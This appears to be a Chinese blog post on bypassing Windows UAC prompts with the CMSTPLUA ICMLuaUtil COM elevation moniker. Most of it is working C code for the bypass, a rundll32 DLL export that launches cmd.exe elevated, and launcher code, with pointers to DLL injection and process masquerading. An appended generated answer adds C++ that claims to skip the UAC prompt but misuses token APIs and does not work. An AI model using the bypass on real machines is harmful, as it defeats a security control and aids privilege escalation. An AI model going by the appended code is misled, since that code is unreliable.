Win32绕过UAC弹窗获取管理员权限

在早些年写一些桌面软件时,需要管理员权限,但是又不想UAC弹窗,所以一般是直接将UAC的级别拉到最低,或者直接禁用UAC的相关功能。

什么是UAC(User Account Control)

用户帐户控制 (UAC) 是一项 Windows 安全功能,旨在保护操作系统免受未经授权的更改。 当对系统的更改需要管理员级权限时,UAC 会通知用户,从而让用户有机会批准或拒绝更改。 UAC 通过限制恶意代码拥有的以管理员权限执行的访问权限来提高 Windows 设备的安全性。 UAC 使用户能够就可能影响设备稳定性和安全性的操作做出明智的决策。

除非禁用 UAC,否则会阻止恶意软件禁用或干扰 UAC 设置。 UAC 默认处于启用状态,如果具有管理员权限,则可以对其进行配置。

关于UAC这里仅做简单介绍,可以在文末的参考资料里获取关于UAC的更详细的介绍。

绕过UAC弹窗目前流行的有几种方案,这里只介绍基于COM组件的

利用COM组件绕过UAC

原理

COM Elevation Moniker技术允许运行在用户账户控制下的应用提升权限的方法来激活COM类,以提升COM接口权限。

主要用到了ICMLuaUtil接口,它提供了一个ShellExec方法来执行命令,创建指定进程。

ICMLuaUtil接口定义如下:

  1 #include <Windows.h>
  2 #include <objbase.h>
  3 #include <strsafe.h>
  4 
  5 
  6 #define CLSID_CMSTPLUA                     L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"
  7 #define IID_ICMLuaUtil                     L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}"
  8 
  9 
 10 typedef interface ICMLuaUtil ICMLuaUtil;
 11 
 12 typedef struct ICMLuaUtilVtbl {
 13 
 14     BEGIN_INTERFACE
 15 
 16         HRESULT(STDMETHODCALLTYPE *QueryInterface)(
 17         __RPC__in ICMLuaUtil * This,
 18         __RPC__in REFIID riid,
 19         _COM_Outptr_  void **ppvObject);
 20 
 21         ULONG(STDMETHODCALLTYPE *AddRef)(
 22             __RPC__in ICMLuaUtil * This);
 23 
 24         ULONG(STDMETHODCALLTYPE *Release)(
 25             __RPC__in ICMLuaUtil * This);
 26 
 27         HRESULT(STDMETHODCALLTYPE *Method1)(
 28             __RPC__in ICMLuaUtil * This);
 29 
 30         HRESULT(STDMETHODCALLTYPE *Method2)(
 31             __RPC__in ICMLuaUtil * This);
 32 
 33         HRESULT(STDMETHODCALLTYPE *Method3)(
 34             __RPC__in ICMLuaUtil * This);
 35 
 36         HRESULT(STDMETHODCALLTYPE *Method4)(
 37             __RPC__in ICMLuaUtil * This);
 38 
 39         HRESULT(STDMETHODCALLTYPE *Method5)(
 40             __RPC__in ICMLuaUtil * This);
 41 
 42         HRESULT(STDMETHODCALLTYPE *Method6)(
 43             __RPC__in ICMLuaUtil * This);
 44 
 45         HRESULT(STDMETHODCALLTYPE *ShellExec)(
 46             __RPC__in ICMLuaUtil * This,
 47             _In_     LPCWSTR lpFile,
 48             _In_opt_  LPCTSTR lpParameters,
 49             _In_opt_  LPCTSTR lpDirectory,
 50             _In_      ULONG fMask,
 51             _In_      ULONG nShow
 52             );
 53 
 54         HRESULT(STDMETHODCALLTYPE *SetRegistryStringValue)(
 55             __RPC__in ICMLuaUtil * This,
 56             _In_      HKEY hKey,
 57             _In_opt_  LPCTSTR lpSubKey,
 58             _In_opt_  LPCTSTR lpValueName,
 59             _In_      LPCTSTR lpValueString
 60             );
 61 
 62         HRESULT(STDMETHODCALLTYPE *Method9)(
 63             __RPC__in ICMLuaUtil * This);
 64 
 65         HRESULT(STDMETHODCALLTYPE *Method10)(
 66             __RPC__in ICMLuaUtil * This);
 67 
 68         HRESULT(STDMETHODCALLTYPE *Method11)(
 69             __RPC__in ICMLuaUtil * This);
 70 
 71         HRESULT(STDMETHODCALLTYPE *Method12)(
 72             __RPC__in ICMLuaUtil * This);
 73 
 74         HRESULT(STDMETHODCALLTYPE *Method13)(
 75             __RPC__in ICMLuaUtil * This);
 76 
 77         HRESULT(STDMETHODCALLTYPE *Method14)(
 78             __RPC__in ICMLuaUtil * This);
 79 
 80         HRESULT(STDMETHODCALLTYPE *Method15)(
 81             __RPC__in ICMLuaUtil * This);
 82 
 83         HRESULT(STDMETHODCALLTYPE *Method16)(
 84             __RPC__in ICMLuaUtil * This);
 85 
 86         HRESULT(STDMETHODCALLTYPE *Method17)(
 87             __RPC__in ICMLuaUtil * This);
 88 
 89         HRESULT(STDMETHODCALLTYPE *Method18)(
 90             __RPC__in ICMLuaUtil * This);
 91 
 92         HRESULT(STDMETHODCALLTYPE *Method19)(
 93             __RPC__in ICMLuaUtil * This);
 94 
 95         HRESULT(STDMETHODCALLTYPE *Method20)(
 96             __RPC__in ICMLuaUtil * This);
 97 
 98     END_INTERFACE
 99 
100 } *PICMLuaUtilVtbl;
101 
102 interface ICMLuaUtil
103 {
104     CONST_VTBL struct ICMLuaUtilVtbl *lpVtbl;
105 };

使用权限提升COM类的程序必须通过调用CoCreateInstanceAsAdmin函数来创建COM类。

CoCreateInstanceAsAdmin参考代码如下:

 1 HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)
 2 {
 3     BIND_OPTS3 bo;
 4     WCHAR wszCLSID[MAX_PATH] = { 0 };
 5     WCHAR wszMonikerName[MAX_PATH] = { 0 };
 6     HRESULT hr = 0;
 7 
 8     // 初始化COM环境
 9     ::CoInitialize(NULL);
10 
11     // 构造字符串
12     ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
13     hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
14     if (FAILED(hr))
15     {
16         return hr;
17     }
18 
19     // 设置BIND_OPTS3
20     ::RtlZeroMemory(&bo, sizeof(bo));
21     bo.cbStruct = sizeof(bo);
22     bo.hwnd = hWnd;
23     bo.dwClassContext = CLSCTX_LOCAL_SERVER;
24 
25     // 创建名称对象并获取COM对象
26     hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
27     return hr;
28 }

CoCreateInstanceAsAdmin函数的作用是创建并激活提升权限的COM类。

ICMLuaUtil接口通过上述方法创建后,再调用ShellExec方法来创建指定进程,可以绕过UAC。

调用ShellExec的方法如下:

 1 BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
 2 {
 3     HRESULT hr = 0;
 4     CLSID clsidICMLuaUtil = { 0 };
 5     IID iidICMLuaUtil = { 0 };
 6     ICMLuaUtil *CMLuaUtil = NULL;
 7     BOOL bRet = FALSE;
 8 
 9     
10     ::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
11     ::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);
12 
13     // 提权
14     hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
15     if (FAILED(hr))
16     {
17         return FALSE;
18     }
19 
20     // 启动程序
21     hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
22     if (FAILED(hr))
23     {
24         return FALSE;
25     }
26 
27     bRet = TRUE;
28     
29 
30     // 释放
31     if (CMLuaUtil) 
32     {
33         CMLuaUtil->lpVtbl->Release(CMLuaUtil);
34     }
35 
36     return bRet;
37 }

到这一步我们就可以以提升过的权限执行对应 的程序 ,如果执行COM Elevation Moniker的程序身份是不可信的(未签名/签名不受信息/已过期等),则会触发UAC弹窗,如果是可信的,就不会触发UAC弹窗。

想要绕过UAC弹窗,就得想办法让上述代码在可信程序中运行。

可信程序包括但不限于calc.exe、notepad.exe、explorer.exe、rundll32.exe等。

可以通过以下几种方式让上述代码在可信任程序中运行:

1、DLL注入或劫持

2、进程伪装

3、通过rundll32.exe来加载DLL,执行COM Elevation Moniker代码

DLL注入可以查看我前面写的一篇文章:

https://www.cnblogs.com/zhaotianff/p/18070259

进程伪装可以查看文末的参考资料中的链接。

本文以rundll32.exe进行演示。利用rundll32.exe调用DLL中的导出函数,其中导出函数的声明如下:

1 void CALLBACK Func(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)

我们可以创建一个DLL工程,创建一个导出函数,在导出函数中调用前面的代码,示例如下:

1 // 导出函数给rundll32.exe调用执行
2 void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)
3 {
4     CMLuaUtilBypassUAC(L"C:\\Windows\\System32\\cmd.exe");
5 }

然后再通过cmd去执行rundll32.exe,或通过编程的方式

cmd

1 rundll32.exe "BypassUAC_Dll.dll" BypassUAC

cpp

 1 #include <iostream>
 2 #include<Windows.h>
 3 #include<tchar.h>
 4 
 5 void main()
 6 {
 7     TCHAR szCmdLine[MAX_PATH] = { 0 };
 8     TCHAR szRundll32Path[MAX_PATH] = L"C:\\Windows\\System32\\rundll32.exe";
 9     TCHAR szDllPath[MAX_PATH] = L"C:\\Users\\xi\\Desktop\\src\\BypassUACDemo\\Debug\\BypassUAC_DLL.dll";
10     wsprintf(szCmdLine, L"%s \"%s\" %s", szRundll32Path, szDllPath, L"BypassUAC");
11     STARTUPINFO si{};
12     si.cb = sizeof(STARTUPINFO);
13     PROCESS_INFORMATION pi{};
14     CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
15 }

运行效果:

示例代码

参考资料:

用户帐户控制工作原理

https://learn.microsoft.com/zh-cn/windows/security/application-security/application-control/user-account-control/how-it-works

Bypass UAC(用户账户控制)的几种方法探究及案例

https://www.freebuf.com/articles/network/332619.html

UACME

https://github.com/hfiref0x/UACME

BypassUAC

https://github.com/0xlane/BypassUAC

  • 16
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Windows 中,要以管理员权限运行一个进程并绕过 UAC 提示,可以使用以下方法: 1. 使用 ShellExecuteEx 函数启动进程。该函数可以在指定的进程上下文中启动应用程序。 2. 在启动进程之前,需要创建一个管理员特权的进程令牌。可以使用 OpenProcessToken 和 DuplicateTokenEx 函数来创建一个管理员特权的令牌。 3. 使用 CreateProcessAsUser 函数以管理员权限运行指定的进程。这个函数会将进程启动在指定的用户上下文中。 下面是一个简单的 C++ 代码示例: ``` #include <windows.h> #include <sddl.h> #include <userenv.h> #include <shlobj.h> #include <iostream> void RunElevated(const wchar_t* cmdLine) { SHELLEXECUTEINFO sei = { sizeof(sei) }; sei.lpVerb = L"runas"; sei.lpFile = cmdLine; sei.hwnd = NULL; sei.nShow = SW_NORMAL; if (!ShellExecuteEx(&sei)) { DWORD error = GetLastError(); if (error == ERROR_CANCELLED) { // The user refused to allow privileges elevation. std::cerr << "User refused to allow privileges elevation.\n"; } else { std::cerr << "Failed to elevate privileges. Error code: " << error << "\n"; } } } int main() { // Get the current process token. HANDLE tokenHandle; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &tokenHandle)) { std::cerr << "Failed to open process token. Error code: " << GetLastError() << "\n"; return 1; } // Duplicate the token with admin privileges. HANDLE elevatedTokenHandle; if (!DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityIdentification, TokenPrimary, &elevatedTokenHandle)) { std::cerr << "Failed to duplicate process token. Error code: " << GetLastError() << "\n"; CloseHandle(tokenHandle); return 1; } // Set the elevation level of the new token to full. TOKEN_ELEVATION_TYPE elevationType; DWORD elevationSize = sizeof(TOKEN_ELEVATION_TYPE); if (!GetTokenInformation(elevatedTokenHandle, TokenElevationType, &elevationType, sizeof(elevationType), &elevationSize)) { std::cerr << "Failed to get token information. Error code: " << GetLastError() << "\n"; CloseHandle(tokenHandle); CloseHandle(elevatedTokenHandle); return 1; } if (elevationType != TokenElevationTypeFull) { TOKEN_ELEVATION elevation = { 0 }; elevation.TokenIsElevated = 1; if (!SetTokenInformation(elevatedTokenHandle, TokenElevation, &elevation, sizeof(elevation))) { std::cerr << "Failed to set token information. Error code: " << GetLastError() << "\n"; CloseHandle(tokenHandle); CloseHandle(elevatedTokenHandle); return 1; } } // Get the user name and domain name for the current user. DWORD size = 0; GetUserNameEx(NameSamCompatible, NULL, &size); std::wstring userName(size, L'\0'); GetUserNameEx(NameSamCompatible, &userName[0], &size); size = 0; GetComputerNameEx(ComputerNameDnsDomain, NULL, &size); std::wstring domainName(size, L'\0'); GetComputerNameEx(ComputerNameDnsDomain, &domainName[0], &size); // Create the user profile for the new user token. PROFILEINFO profileInfo = { sizeof(profileInfo) }; profileInfo.dwFlags = PI_NOUI; profileInfo.lpUserName = &userName[0]; profileInfo.lpProfilePath = L""; profileInfo.lpDefaultPath = L""; profileInfo.lpServerName = &domainName[0]; profileInfo.lpPolicyPath = L""; profileInfo.hProfile = NULL; DWORD sessionId; HANDLE userTokenHandle; if (!CreateProfile(&profileInfo, &userTokenHandle)) { std::cerr << "Failed to create user profile. Error code: " << GetLastError() << "\n"; CloseHandle(tokenHandle); CloseHandle(elevatedTokenHandle); return 1; } if (!ProcessIdToSessionId(GetCurrentProcessId(), &sessionId)) { std::cerr << "Failed to get session ID. Error code: " << GetLastError() << "\n"; CloseHandle(tokenHandle); CloseHandle(elevatedTokenHandle); CloseHandle(userTokenHandle); return 1; } if (!ImpersonateLoggedOnUser(userTokenHandle)) { std::cerr << "Failed to impersonate user. Error code: " << GetLastError() << "\n"; CloseHandle(tokenHandle); CloseHandle(elevatedTokenHandle); CloseHandle(userTokenHandle); return 1; } // Get the path to the executable. wchar_t exePath[MAX_PATH]; if (GetModuleFileName(NULL, exePath, MAX_PATH) == 0) { std::cerr << "Failed to get executable path. Error code: " << GetLastError() << "\n"; CloseHandle(tokenHandle); CloseHandle(elevatedTokenHandle); CloseHandle(userTokenHandle); return 1; } RunElevated(exePath); // Restore the original token and close the elevated token. if (!RevertToSelf()) { std::cerr << "Failed to revert to self. Error code: " << GetLastError() << "\n"; CloseHandle(tokenHandle); CloseHandle(elevatedTokenHandle); CloseHandle(userTokenHandle); return 1; } CloseHandle(tokenHandle); CloseHandle(elevatedTokenHandle); CloseHandle(userTokenHandle); return 0; } ``` 这个代码示例使用了 ShellExecuteEx 函数来以管理员权限运行指定的进程。如果进程启动失败,将会输出错误信息。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值